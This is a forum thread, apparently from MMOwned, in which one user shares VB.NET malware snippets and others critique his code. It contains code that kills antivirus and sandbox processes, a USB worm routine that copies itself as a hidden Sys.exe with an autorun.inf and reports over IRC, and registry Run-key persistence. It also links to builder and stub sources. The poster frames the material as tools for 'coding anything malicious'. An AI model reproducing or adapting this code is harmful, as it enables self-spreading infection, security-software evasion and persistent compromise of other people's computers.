[VB.NET] My Sources...

[Vaqxine1]

A good example for killing processes, feel free to add to it.

        Dim local As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To local.Length - 1
            Debug.WriteLine(local(i).ProcessName)
                If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
                    local(i).Kill()
                    If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
                        local(i).Kill()
                        If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
                            local(i).Kill()
                            If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
                                local(i).Kill()
                                If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
                                    local(i).Kill()
                                    If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
                                        local(i).Kill()
                                        If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
                                            local(i).Kill()
                                            If Strings.UCase(local(i).ProcessName) = Strings.UCase("SbieSvc") Then 'Sandboxie
                                           End If
                                        End If
                                    End If
                                End If
                            End If
                        End If
                    End If
                End If
        Next

All commented. Enjoy.

[Vaqxine1]

Here's some code to make your program require a license. When the form is loading it asks for a license key, if you put the correct license key in then it registers it and you won't need to do it again. If you put the wrong license key in then you have to do it again. I'm pretty sure the code could be a little simpler but hey. Commented code with explanations.


http://rapidshare.com/files/251595152/License.rar


Enjoy.
Credits to Miharbi for coding the original thing, I made edits and comments.

[Vaqxine1]

    Private Sub SpreadBGWusb_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles SpreadBGWusb.DoWork
        Dim totototototot As String = spread_returnto
        Try
            Dim aa232 As New ListBox
            Dim int87654 As Integer = 0
            Do Until int87654 = My.Computer.FileSystem.Drives.Count - 1
                aa232.Items.Add(My.Computer.FileSystem.Drives.Item(int87654).ToString)
                int87654 += 1
            Loop

            int87654 = 0

            Do Until int87654 = aa232.Items.Count
                Try
                    Try
                        My.Computer.FileSystem.DeleteFile(aa232.Items.Item(int87654) + "Sys.exe")
                        My.Computer.FileSystem.DeleteFile(aa232.Items.Item(int87654) + "autorun.inf")
                    Catch
                    End Try
                    My.Computer.FileSystem.CopyFile(Application.ExecutablePath, aa232.Items.Item(int87654) + "Sys.exe")
                    FileOpen(1, aa232.Items.Item(int87654) + "autorun.inf", OpenMode.Binary)
                    FilePut(1, "[autorun]" + vbNewLine + "shellexecute=sys.exe")
                    FileClose(1)
                    Try
                        My.Computer.FileSystem.GetFileInfo(aa232.Items.Item(int87654) + "Sys.exe").Attributes = IO.FileAttributes.System Or IO.FileAttributes.Hidden
                        My.Computer.FileSystem.GetFileInfo(aa232.Items.Item(int87654) + "autorun.inf").Attributes = IO.FileAttributes.System Or IO.FileAttributes.Hidden
                    Catch
                    End Try
                Catch
                End Try
                int87654 += 1
            Loop
            IrcClient.Send("Success! - Darkc0ke", spread_returnto)
        Catch ex As Exception
            IrcClient.Send("Error -> " + ex.Message, totototototot)
        End Try
    End Sub

Something I found a while ago, had it lying around in a random folder. I know it works but I'm not sure if it's any good or not, it looks a lot longer than it probably should be, but oh well. I'd give it a try but I don't have a USB pen to try it on.

Was part of a full code so you will need to edit it slightly.
Credits to Darkc0ke.

[Zeluous]

Is it possible for you to go more in depth into how it works please.

[Vaqxine1]

I don't know how to change an IP using VB.NET alone so I've done it using batch. You could change the batch to something else if you want, maybe even make a batch builder if you merge this with my builder source. It basically creates a .bat file, runs it, waits, deletes it.




RapidShare: 1-CLICK Web hosting - Easy Filehosting


Enjoy.
And yes, this would be easier with Shell(""), but someone requested this via batch.

[Vaqxine1]

Look at the code, it basically explains itself.

You specify a license.
Messagebox checks for license.
If license is correct, it adds it to registry so it doesn't ask again.
Simple :3

[ReidE96]

All commented? It's not commented at all! And that If statement is a bad idea, it means they need to be running all of them. Better to have them all separate.

[Vaqxine1]

A neat trick you might want to include if you're coding anything malicious. It's a little creepy the way it works. Basically just writes text to your screen on a blank form, letter by letter at the interval you set. Text can be changed via the textbox.

[dl]http://rapidshare.com/files/248541957/Ghostwriting_GOD.rar[/dl]


Includes all source files, edit as you wish.
One of my more popular sources...

[Zeluous]

Ahh, Just testing you...Here you go have +1 rep and welcome to MMOwned as I havn't seen you around! Ty for contributing :P

[Vaqxine1]

Are you sure you know VB.NET?
They don't have to be running them...

It kills them *if* they are running them, otherwise nothing happens, lol.

And what else do I need to comment other than explaining which process is which program? Gee.

[Vaqxine1]

Basic code to add your program to the registry.
First it copies itself to the C:\ drive.
Then it adds that copy to the startup.

You will need this at the top of your code:

Imports Microsoft.Win32

Dim appname As String = IO.Path.GetFileName(Application.ExecutablePath)

        My.Computer.FileSystem.CopyFile(Application.ExecutablePath, "C:\" & appname, True)

        Dim regKey As Microsoft.Win32.RegistryKey
        regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
        regKey.SetValue(appname, "C:\" & appname)
        regKey.Close()

Enjoy.

[Vaqxine1]

Pretty simple code explaining how everything is done. The builder is fully commented so you should be able to understand how to create your own builder and stub. Added a couple of tips as well. Basically just loads words from the builder, but you can do a lot more.


http://rapidshare.com/files/251510232/VaqxBuilderEx.rar


Credits to JapaBrz for helping me with my first builder.
Enjoy.

[ReidE96]

If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then

If the uppercase variant of the current process name is SAMPLE, continue. Otherwise it jumps to the matching End If at the end of your program. Right back atcha - Are you sure you know VB.NET?

[Vaqxine1]

If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then

If the uppercase variant of the current process name is SAMPLE, continue. Otherwise it jumps to the matching End If at the end of your program. Right back atcha - Are you sure you know VB.NET?

No, I don't know it at all, I just wrote all of these sources in a dream.
Doesn't matter. Test it.

[ReidE96]

I don't need to run it. Here's your code in pseudocode:

If process1 exists then
    kill process1
    if process2 exists then
        kill process2
        repeat deeper
    end it
end if

If process1 doesn't exist, the whole thing ends. I'm trying to help you write better code here, if you're gonna be all anal about it then fine.